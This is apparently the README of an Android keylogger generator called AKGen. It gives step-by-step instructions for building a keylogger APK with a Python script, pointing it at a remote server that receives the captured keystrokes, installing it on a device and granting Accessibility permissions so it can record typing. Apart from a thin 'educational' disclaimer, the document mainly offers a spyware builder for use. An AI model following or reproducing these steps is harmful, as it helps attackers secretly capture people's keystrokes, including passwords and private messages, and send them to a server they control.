Android Keylogger Generator (AKGen)

AKGen is an open-source tool that allows users to generate a custom keylogger APK for Android devices. This tool is strictly for educational and ethical purposes. It helps users understand how keyloggers work and how to protect against them.

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Features

• Customizable Keylogger: Generate a keylogger APK with your own settings.
• Local or Remote Logging: Save keystrokes locally or send them to a remote server.
• Tested on Kali Linux: Fully compatible with Kali Linux.

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Prerequisites

Before using AKGen, ensure you have the following installed:

1. Python 3 (Pre-installed on Kali Linux)
2. Android SDK (Download from developer.android.com)
3. Gradle (Install using sudo apt install gradle)
4. Git (Install using sudo apt install git)

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Installation

1. Clone the repository:

git clone https://github.com/trmxvibs/AKGen
cd AKGen

2. Install required dependencies:

pip install argparse subprocess os shutil

3. Set up Android SDK and Gradle:

Download and install Android SDK.

Set environment variables:

export ANDROID_HOME=/path/to/android-sdk
export PATH=$PATH:$ANDROID_HOME/tools/bin

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How to Use

Step 1: Generate the APK Run the following command to generate the keylogger APK:

python akgen.py -o akgen.apk -s (severdetails)

-o: Output APK file name.

-s: Server URL to send keystrokes (optional). If not provided, keystrokes will be saved locally.

Step 2: Install the APK

Transfer the generated APK (akgen.apk) to your Android device.

Install the APK on your device.

Step 3: Enable Keylogger

Open the app on your Android device.

Click the "Enable Keylogger" button.

Grant the necessary permissions (Accessibility Services).

Customization

You can customize the keylogger APK as per your requirements:

1. Change Server URL Modify the -s parameter in the command to specify your server URL:

python akgen.py -o output.apk -s http://your-custom-server.com

2. Modify Keylogger Logic Edit the KeyLoggerService.java file in the template_apk folder to change the keylogger behavior:

private static final String SERVER_URL = "YOUR_SERVER_URL

3. Modify UI Edit the activity_main.xml file in the template_apk folder to change the app's user interface.

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How It Works -

APK Generation:

The akgen.py script modifies the template APK based on user input (e.g., server URL).

It builds the APK using Gradle.

Keylogger Functionality:

The app uses Android's Accessibility Services to capture keystrokes.

Captured keystrokes are either saved locally or sent to a remote server.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contributing

Contributions are welcome! If you have any suggestions or improvements, feel free to open an issue or submit a pull request.

Disclaimer

The developers are not responsible for any misuse of this tool. Use it at your own risk.